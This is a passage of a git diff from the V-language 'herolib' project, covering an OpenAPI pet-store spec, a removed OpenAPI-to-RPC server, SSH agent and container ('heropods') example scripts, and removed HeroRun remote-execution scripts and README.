|
||||
"in": "query",
|
||||
"description": "Maximum number of pets to return",
|
||||
"required": false,
|
||||
"schema": {
|
||||
"type": "integer",
|
||||
"format": "int32"
|
||||
}
|
||||
}
|
||||
],
|
||||
"responses": {
|
||||
"200": {
|
||||
"description": "A paginated list of pets",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/Pets"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"400": {
|
||||
"description": "Invalid request"
|
||||
}
|
||||
}
|
||||
},
|
||||
"post": {
|
||||
"summary": "Create a new pet",
|
||||
"operationId": "createPet",
|
||||
"requestBody": {
|
||||
"required": true,
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/NewPet"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"responses": {
|
||||
"201": {
|
||||
"description": "Pet created",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/Pet"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"400": {
|
||||
"description": "Invalid input"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"/pets/{petId}": {
|
||||
"get": {
|
||||
"summary": "Get a pet by ID",
|
||||
"operationId": "getPet",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "petId",
|
||||
"in": "path",
|
||||
"description": "ID of the pet to retrieve",
|
||||
"required": true,
|
||||
"schema": {
|
||||
"type": "integer",
|
||||
"format": "int64"
|
||||
}
|
||||
}
|
||||
],
|
||||
"responses": {
|
||||
"200": {
|
||||
"description": "A pet",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/Pet"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"404": {
|
||||
"description": "Pet not found"
|
||||
}
|
||||
}
|
||||
},
|
||||
"delete": {
|
||||
"summary": "Delete a pet by ID",
|
||||
"operationId": "deletePet",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "petId",
|
||||
"in": "path",
|
||||
"description": "ID of the pet to delete",
|
||||
"required": true,
|
||||
"schema": {
|
||||
"type": "integer",
|
||||
"format": "int64"
|
||||
}
|
||||
}
|
||||
],
|
||||
"responses": {
|
||||
"204": {
|
||||
"description": "Pet deleted"
|
||||
},
|
||||
"404": {
|
||||
"description": "Pet not found"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"/orders": {
|
||||
"get": {
|
||||
"summary": "List all orders",
|
||||
"operationId": "listOrders",
|
||||
"responses": {
|
||||
"200": {
|
||||
"description": "A list of orders",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"$ref": "#/components/schemas/Order"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"/orders/{orderId}": {
|
||||
"get": {
|
||||
"summary": "Get an order by ID",
|
||||
"operationId": "getOrder",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "orderId",
|
||||
"in": "path",
|
||||
"description": "ID of the order to retrieve",
|
||||
"required": true,
|
||||
"schema": {
|
||||
"type": "integer",
|
||||
"format": "int64"
|
||||
}
|
||||
}
|
||||
],
|
||||
"responses": {
|
||||
"200": {
|
||||
"description": "An order",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/Order"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"404": {
|
||||
"description": "Order not found"
|
||||
}
|
||||
}
|
||||
},
|
||||
"delete": {
|
||||
"summary": "Delete an order by ID",
|
||||
"operationId": "deleteOrder",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "orderId",
|
||||
"in": "path",
|
||||
"description": "ID of the order to delete",
|
||||
"required": true,
|
||||
"schema": {
|
||||
"type": "integer",
|
||||
"format": "int64"
|
||||
}
|
||||
}
|
||||
],
|
||||
"responses": {
|
||||
"204": {
|
||||
"description": "Order deleted"
|
||||
},
|
||||
"404": {
|
||||
"description": "Order not found"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"/users": {
|
||||
"post": {
|
||||
"summary": "Create a user",
|
||||
"operationId": "createUser",
|
||||
"requestBody": {
|
||||
"required": true,
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/NewUser"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"responses": {
|
||||
"201": {
|
||||
"description": "User created",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/User"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"components": {
|
||||
"schemas": {
|
||||
"Pet": {
|
||||
"type": "object",
|
||||
"required": ["id", "name"],
|
||||
"properties": {
|
||||
"id": {
|
||||
"type": "integer",
|
||||
"format": "int64"
|
||||
},
|
||||
"name": {
|
||||
"type": "string"
|
||||
},
|
||||
"tag": {
|
||||
"type": "string"
|
||||
}
|
||||
}
|
||||
},
|
||||
"NewPet": {
|
||||
"type": "object",
|
||||
"required": ["name"],
|
||||
"properties": {
|
||||
"name": {
|
||||
"type": "string"
|
||||
},
|
||||
"tag": {
|
||||
"type": "string"
|
||||
}
|
||||
}
|
||||
},
|
||||
"Pets": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"$ref": "#/components/schemas/Pet"
|
||||
}
|
||||
},
|
||||
"Order": {
|
||||
"type": "object",
|
||||
"required": ["id", "petId", "quantity", "shipDate"],
|
||||
"properties": {
|
||||
"id": {
|
||||
"type": "integer",
|
||||
"format": "int64"
|
||||
},
|
||||
"petId": {
|
||||
"type": "integer",
|
||||
"format": "int64"
|
||||
},
|
||||
"quantity": {
|
||||
"type": "integer",
|
||||
"format": "int32"
|
||||
},
|
||||
"shipDate": {
|
||||
"type": "string",
|
||||
"format": "date-time"
|
||||
},
|
||||
"status": {
|
||||
"type": "string",
|
||||
"enum": ["placed", "approved", "delivered"]
|
||||
},
|
||||
"complete": {
|
||||
"type": "boolean"
|
||||
}
|
||||
}
|
||||
},
|
||||
"User": {
|
||||
"type": "object",
|
||||
"required": ["id", "username"],
|
||||
"properties": {
|
||||
"id": {
|
||||
"type": "integer",
|
||||
"format": "int64"
|
||||
},
|
||||
"username": {
|
||||
"type": "string"
|
||||
},
|
||||
"email": {
|
||||
"type": "string"
|
||||
},
|
||||
"phone": {
|
||||
"type": "string"
|
||||
}
|
||||
}
|
||||
},
|
||||
"NewUser": {
|
||||
"type": "object",
|
||||
"required": ["username"],
|
||||
"properties": {
|
||||
"username": {
|
||||
"type": "string"
|
||||
},
|
||||
"email": {
|
||||
"type": "string"
|
||||
},
|
||||
"phone": {
|
||||
"type": "string"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Binary file not shown.
@@ -1,138 +0,0 @@
|
||||
#!/usr/bin/env -S v -w -n -enable-globals run
|
||||
|
||||
import os
|
||||
import time
|
||||
import veb
|
||||
import json
|
||||
import x.json2 { Any }
|
||||
import net.http
|
||||
import freeflowuniverse.herolib.data.jsonschema { Schema }
|
||||
import freeflowuniverse.herolib.web.openapi { Context, Request, Response, Server }
|
||||
import freeflowuniverse.herolib.hero.processor { ProcedureCall, ProcessParams, Processor }
|
||||
import freeflowuniverse.herolib.core.redisclient
|
||||
|
||||
const spec_path = '${os.dir(@FILE)}/data/openapi.json'
|
||||
const spec_json = os.read_file(spec_path) or { panic(err) }
|
||||
|
||||
// Main function to start the server
|
||||
fn main() {
|
||||
// Initialize the Redis client and RPC mechanism
|
||||
mut redis := redisclient.new('localhost:6379')!
|
||||
mut rpc := redis.rpc_get('procedure_queue')
|
||||
|
||||
// Initialize the server
|
||||
mut server := &Server{
|
||||
specification: openapi.json_decode(spec_json)!
|
||||
handler: Handler{
|
||||
processor: Processor{
|
||||
rpc: rpc
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Start the server
|
||||
veb.run[Server, Context](mut server, 8080)
|
||||
}
|
||||
|
||||
pub struct Handler {
|
||||
mut:
|
||||
processor Processor
|
||||
}
|
||||
|
||||
fn (mut handler Handler) handle(request Request) !Response {
|
||||
// Convert incoming OpenAPI request to a procedure call
|
||||
mut params := []string{}
|
||||
|
||||
if request.arguments.len > 0 {
|
||||
params = request.arguments.values().map(it.str()).clone()
|
||||
}
|
||||
|
||||
if request.body != '' {
|
||||
params << request.body
|
||||
}
|
||||
|
||||
if request.parameters.len != 0 {
|
||||
mut param_map := map[string]Any{} // Store parameters with correct types
|
||||
|
||||
for param_name, param_value in request.parameters {
|
||||
operation_param := request.operation.parameters.filter(it.name == param_name)
|
||||
if operation_param.len > 0 {
|
||||
param_schema := operation_param[0].schema as Schema
|
||||
param_type := param_schema.typ
|
||||
param_format := param_schema.format
|
||||
|
||||
// Convert parameter value to corresponding type
|
||||
match param_type {
|
||||
'integer' {
|
||||
match param_format {
|
||||
'int32' {
|
||||
param_map[param_name] = param_value.int() // Convert to int
|
||||
}
|
||||
'int64' {
|
||||
param_map[param_name] = param_value.i64() // Convert to i64
|
||||
}
|
||||
else {
|
||||
param_map[param_name] = param_value.int() // Default to int
|
||||
}
|
||||
}
|
||||
}
|
||||
'string' {
|
||||
param_map[param_name] = param_value // Already a string
|
||||
}
|
||||
'boolean' {
|
||||
param_map[param_name] = param_value.bool() // Convert to bool
|
||||
}
|
||||
'number' {
|
||||
match param_format {
|
||||
'float' {
|
||||
param_map[param_name] = param_value.f32() // Convert to float
|
||||
}
|
||||
'double' {
|
||||
param_map[param_name] = param_value.f64() // Convert to double
|
||||
}
|
||||
else {
|
||||
param_map[param_name] = param_value.f64() // Default to double
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
param_map[param_name] = param_value // Leave as string for unknown types
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// If the parameter is not defined in the OpenAPI operation, skip or log it
|
||||
println('Unknown parameter: ${param_name}')
|
||||
}
|
||||
}
|
||||
|
||||
// Encode the parameter map to JSON if needed
|
||||
params << json.encode(param_map.str())
|
||||
}
|
||||
|
||||
call := ProcedureCall{
|
||||
method: request.operation.operation_id
|
||||
params: '[${params.join(',')}]' // Keep as a string since ProcedureCall expects a string
|
||||
}
|
||||
|
||||
// Process the procedure call
|
||||
procedure_response := handler.processor.process(call, ProcessParams{
|
||||
timeout: 30 // Set timeout in seconds
|
||||
}) or {
|
||||
// Handle ProcedureError
|
||||
if err is processor.ProcedureError {
|
||||
return Response{
|
||||
status: http.status_from_int(err.code()) // Map ProcedureError reason to HTTP status code
|
||||
body: json.encode({
|
||||
'error': err.msg()
|
||||
})
|
||||
}
|
||||
}
|
||||
return error('Unexpected error: ${err}')
|
||||
}
|
||||
|
||||
// Convert returned procedure response to OpenAPI response
|
||||
return Response{
|
||||
status: http.Status.ok // Assuming success if no error
|
||||
body: procedure_response.result
|
||||
}
|
||||
}
|
||||
@@ -177,11 +177,9 @@ fn main() {
|
||||
println(' Use JSON-RPC endpoint: http://localhost:${port}/jsonrpc')
|
||||
println('')
|
||||
} else {
|
||||
println('📟 MCP Inspector Server - STDIO Mode')
|
||||
println('====================================')
|
||||
println('Ready for JSON-RPC messages on stdin...')
|
||||
println('')
|
||||
println('💡 Tip: Run with --http --port 9000 for HTTP mode')
|
||||
// In STDIO mode, we should be completely silent to avoid interfering with JSON-RPC communication
|
||||
// The MCP Inspector captures both stdout and stderr, so any output can cause parsing errors
|
||||
// If you need to see startup messages, run with --http mode instead
|
||||
}
|
||||
|
||||
server.start()!
|
||||
|
||||
@@ -19,7 +19,7 @@ fn do1() ! {
|
||||
osal.rsync(source: myexamplepath, dest: tstdir, delete: true)!
|
||||
cmd := osal.rsync_cmd(source: myexamplepath, dest: tstdir)!
|
||||
println(cmd)
|
||||
//"rsync -avz --no-perms --exclude='*.pyc' --exclude='*.bak' --exclude='*dSYM' /Users/despiegk1/code/github/freeflowuniverse/herolib/examples /tmp/testsync"
|
||||
//"rsync -avz --no-perms --exclude='*.pyc' --exclude='*.bak' --exclude='*dSYM' /Users/despiegk1/code/github/incubaid/herolib/examples /tmp/testsync"
|
||||
}
|
||||
|
||||
fn do2() ! {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals run
|
||||
|
||||
import freeflowuniverse.herolib.osal.sshagent
|
||||
import freeflowuniverse.herolib.builder
|
||||
|
||||
@@ -141,28 +141,26 @@ fn test_user_mgmt() ! {
|
||||
*/
|
||||
}
|
||||
|
||||
fn main() {
|
||||
console.print_header('🔑 SSH Agent Example - HeroLib')
|
||||
console.print_header('🔑 SSH Agent Example - HeroLib')
|
||||
|
||||
demo_sshagent_basic() or {
|
||||
demo_sshagent_basic() or {
|
||||
console.print_stderr('❌ Basic demo failed: ${err}')
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
demo_sshagent_key_management() or {
|
||||
demo_sshagent_key_management() or {
|
||||
console.print_stderr('❌ Key management demo failed: ${err}')
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
demo_sshagent_with_existing_keys() or {
|
||||
demo_sshagent_with_existing_keys() or {
|
||||
console.print_stderr('❌ Existing keys demo failed: ${err}')
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
test_user_mgmt() or {
|
||||
test_user_mgmt() or {
|
||||
console.print_stderr('❌ User management test failed: ${err}')
|
||||
return
|
||||
}
|
||||
|
||||
console.print_header('🎉 All SSH Agent demos completed successfully!')
|
||||
}
|
||||
|
||||
console.print_header('🎉 All SSH Agent demos completed successfully!')
|
||||
|
||||
1
examples/osal/ubuntu/.gitignore
vendored
Normal file
1
examples/osal/ubuntu/.gitignore
vendored
Normal file
@@ -0,0 +1 @@
|
||||
ubuntu_do
|
||||
7
examples/osal/ubuntu/ubuntu_do.vsh
Executable file
7
examples/osal/ubuntu/ubuntu_do.vsh
Executable file
@@ -0,0 +1,7 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals run
|
||||
|
||||
import freeflowuniverse.herolib.osal.ubuntu
|
||||
import os
|
||||
import time
|
||||
|
||||
ubuntu.fix_mirrors()!
|
||||
@@ -3,9 +3,9 @@
|
||||
# SSH and rsync configuration
|
||||
SSH_HOST="verse.tf"
|
||||
SSH_USER="root"
|
||||
SOURCE_DIR="${HOME}/code/github/freeflowuniverse/herolib/"
|
||||
DEST_DIR="/root/code/github/freeflowuniverse/herolib/"
|
||||
FINAL_DIR="/root/code/github/freeflowuniverse/herolib/examples/hero"
|
||||
SOURCE_DIR="${HOME}/code/github/incubaid/herolib/"
|
||||
DEST_DIR="/root/code/github/incubaid/herolib/"
|
||||
FINAL_DIR="/root/code/github/incubaid/herolib/examples/hero"
|
||||
|
||||
# Check if the source directory exists, if not stop
|
||||
if [ ! -d "$SOURCE_DIR" ]; then
|
||||
|
||||
62
examples/virt/heropods/heropods.vsh
Executable file
62
examples/virt/heropods/heropods.vsh
Executable file
@@ -0,0 +1,62 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals run
|
||||
|
||||
import freeflowuniverse.herolib.virt.heropods
|
||||
|
||||
// Initialize factory
|
||||
mut factory := heropods.new(
|
||||
reset: false
|
||||
use_podman: true
|
||||
) or { panic('Failed to init ContainerFactory: ${err}') }
|
||||
|
||||
println('=== HeroPods Refactored API Demo ===')
|
||||
|
||||
// Step 1: factory.new() now only creates a container definition/handle
|
||||
// It does NOT create the actual container in the backend yet
|
||||
mut container := factory.new(
|
||||
name: 'demo_alpine'
|
||||
image: .custom
|
||||
custom_image_name: 'alpine_3_20'
|
||||
docker_url: 'docker.io/library/alpine:3.20'
|
||||
)!
|
||||
|
||||
println('✓ Container definition created: ${container.name}')
|
||||
println(' (No actual container created in backend yet)')
|
||||
|
||||
// Step 2: container.start() handles creation and starting
|
||||
// - Checks if container exists in backend
|
||||
// - Creates it if it doesn't exist
|
||||
// - Starts it if it exists but is stopped
|
||||
println('\n--- First start() call ---')
|
||||
container.start()!
|
||||
println('✓ Container started successfully')
|
||||
|
||||
// Step 3: Multiple start() calls are now idempotent
|
||||
println('\n--- Second start() call (should be idempotent) ---')
|
||||
container.start()!
|
||||
println('✓ Second start() call successful - no errors!')
|
||||
|
||||
// Step 4: Execute commands in the container and save results
|
||||
println('\n--- Executing commands in container ---')
|
||||
result1 := container.exec(cmd: 'ls -la /')!
|
||||
println('✓ Command executed: ls -la /')
|
||||
println('Result: ${result1}')
|
||||
|
||||
result2 := container.exec(cmd: 'echo "Hello from container!"')!
|
||||
println('✓ Command executed: echo "Hello from container!"')
|
||||
println('Result: ${result2}')
|
||||
|
||||
result3 := container.exec(cmd: 'uname -a')!
|
||||
println('✓ Command executed: uname -a')
|
||||
println('Result: ${result3}')
|
||||
|
||||
// Step 5: container.delete() works naturally on the instance
|
||||
println('\n--- Deleting container ---')
|
||||
container.delete()!
|
||||
println('✓ Container deleted successfully')
|
||||
|
||||
println('\n=== Demo completed! ===')
|
||||
println('The refactored API now works as expected:')
|
||||
println('- factory.new() creates definition only')
|
||||
println('- container.start() is idempotent')
|
||||
println('- container.exec() works and returns results')
|
||||
println('- container.delete() works on instances')
|
||||
19
examples/virt/heropods/runcommands.vsh
Normal file
19
examples/virt/heropods/runcommands.vsh
Normal file
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals run
|
||||
|
||||
import freeflowuniverse.herolib.virt.heropods
|
||||
|
||||
mut factory := heropods.new(
|
||||
reset: false
|
||||
use_podman: true
|
||||
) or { panic('Failed to init ContainerFactory: ${err}') }
|
||||
|
||||
mut container := factory.new(
|
||||
name: 'alpine_demo'
|
||||
image: .custom
|
||||
custom_image_name: 'alpine_3_20'
|
||||
docker_url: 'docker.io/library/alpine:3.20'
|
||||
)!
|
||||
|
||||
container.start()!
|
||||
container.exec(cmd: 'ls')!
|
||||
container.stop()!
|
||||
@@ -1,105 +0,0 @@
|
||||
# HeroRun - AI Agent Optimized Container Management
|
||||
|
||||
**Production-ready scripts for fast remote command execution**
|
||||
|
||||
## 🎯 Purpose
|
||||
|
||||
Optimized for AI agents that need rapid, reliable command execution with minimal latency and clean output.
|
||||
|
||||
## 🏗️ Base Image Types
|
||||
|
||||
HeroRun supports different base images through the `BaseImage` enum:
|
||||
|
||||
```v
|
||||
pub enum BaseImage {
|
||||
alpine // Standard Alpine Linux minirootfs (~5MB)
|
||||
alpine_python // Alpine Linux with Python 3 pre-installed
|
||||
}
|
||||
```
|
||||
|
||||
### Usage Examples
|
||||
|
||||
**Standard Alpine Container:**
|
||||
|
||||
```v
|
||||
base_image: .alpine // Default - minimal Alpine Linux
|
||||
```
|
||||
|
||||
**Alpine with Python:**
|
||||
|
||||
```v
|
||||
base_image: .alpine_python // Python 3 + pip pre-installed
|
||||
```
|
||||
|
||||
## 📋 Three Scripts
|
||||
|
||||
### 1. `setup.vsh` - Environment Preparation
|
||||
|
||||
Creates container infrastructure on remote node.
|
||||
|
||||
```bash
|
||||
./setup.vsh
|
||||
```
|
||||
|
||||
**Output:** `Setup complete`
|
||||
|
||||
### 2. `execute.vsh` - Fast Command Execution
|
||||
|
||||
Executes commands on remote node with clean output only.
|
||||
|
||||
```bash
|
||||
./execute.vsh "command" [context_id]
|
||||
```
|
||||
|
||||
**Examples:**
|
||||
|
||||
```bash
|
||||
./execute.vsh "ls /containers"
|
||||
./execute.vsh "whoami"
|
||||
./execute.vsh "echo 'Hello World'"
|
||||
```
|
||||
|
||||
**Output:** Command result only (no verbose logging)
|
||||
|
||||
### 3. `cleanup.vsh` - Complete Teardown
|
||||
|
||||
Removes container and cleans up all resources.
|
||||
|
||||
```bash
|
||||
./cleanup.vsh
|
||||
```
|
||||
|
||||
**Output:** `Cleanup complete`
|
||||
|
||||
## ⚡ Performance Features
|
||||
|
||||
- **Clean Output**: Execute returns only command results
|
||||
- **No Verbose Logging**: Silent operation for production use
|
||||
- **Fast Execution**: Direct SSH without tmux overhead
|
||||
- **AI Agent Ready**: Perfect for automated command execution
|
||||
|
||||
## 🚀 Usage Pattern
|
||||
|
||||
```bash
|
||||
# Setup once
|
||||
./setup.vsh
|
||||
|
||||
# Execute many commands (fast)
|
||||
./execute.vsh "ls -la"
|
||||
./execute.vsh "ps aux"
|
||||
./execute.vsh "df -h"
|
||||
|
||||
# Cleanup when done
|
||||
./cleanup.vsh
|
||||
```
|
||||
|
||||
## 🎯 AI Agent Integration
|
||||
|
||||
Perfect for AI agents that need:
|
||||
|
||||
- Rapid command execution
|
||||
- Clean, parseable output
|
||||
- Minimal setup overhead
|
||||
- Production-ready reliability
|
||||
|
||||
Each execute call returns only the command output, making it ideal for AI agents to parse and process results.
|
||||
@@ -1,19 +0,0 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals run
|
||||
|
||||
import freeflowuniverse.herolib.virt.herorun
|
||||
|
||||
// Create user with SSH key using sshagent module
|
||||
mut user := herorun.new_user(keyname: 'id_ed25519')!
|
||||
|
||||
// Create executor using proper modules
|
||||
mut executor := herorun.new_executor(
|
||||
node_ip: '65.21.132.119'
|
||||
user: 'root'
|
||||
container_id: 'ai_agent_container'
|
||||
keyname: 'id_ed25519'
|
||||
)!
|
||||
|
||||
// Cleanup using tmux and osal modules
|
||||
executor.cleanup()!
|
||||
|
||||
println('Cleanup complete')
|
||||
@@ -1,30 +0,0 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals run
|
||||
|
||||
import freeflowuniverse.herolib.virt.herorun
|
||||
import os
|
||||
|
||||
// Get command from command line args
|
||||
if os.args.len < 2 {
|
||||
println('Usage: ./execute.vsh "command" [context_id]')
|
||||
exit(1)
|
||||
}
|
||||
|
||||
cmd := os.args[1]
|
||||
// context_id := if os.args.len > 2 { os.args[2] } else { 'default' }
|
||||
|
||||
// Create user with SSH key using sshagent module
|
||||
mut user := herorun.new_user(keyname: 'id_ed25519')!
|
||||
|
||||
// Create executor using proper modules
|
||||
mut executor := herorun.new_executor(
|
||||
node_ip: '65.21.132.119'
|
||||
user: 'root'
|
||||
container_id: 'ai_agent_container'
|
||||
keyname: 'id_ed25519'
|
||||
)!
|
||||
|
||||
// Execute command using osal module for clean output
|
||||
output := executor.execute(cmd)!
|
||||
|
||||
// Output only the command result
|
||||
print(output)
|
||||
@@ -1,11 +0,0 @@
|
||||
#!/bin/sh
|
||||
set -e
|
||||
|
||||
echo "🎉 Hello from custom container entry point!"
|
||||
echo "Container ID: $(hostname)"
|
||||
echo "Current time: $(date)"
|
||||
echo "Working directory: $(pwd)"
|
||||
echo "Available commands:"
|
||||
ls /bin | head -10
|
||||
echo "..."
|
||||
echo "✅ Container is working perfectly!"
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user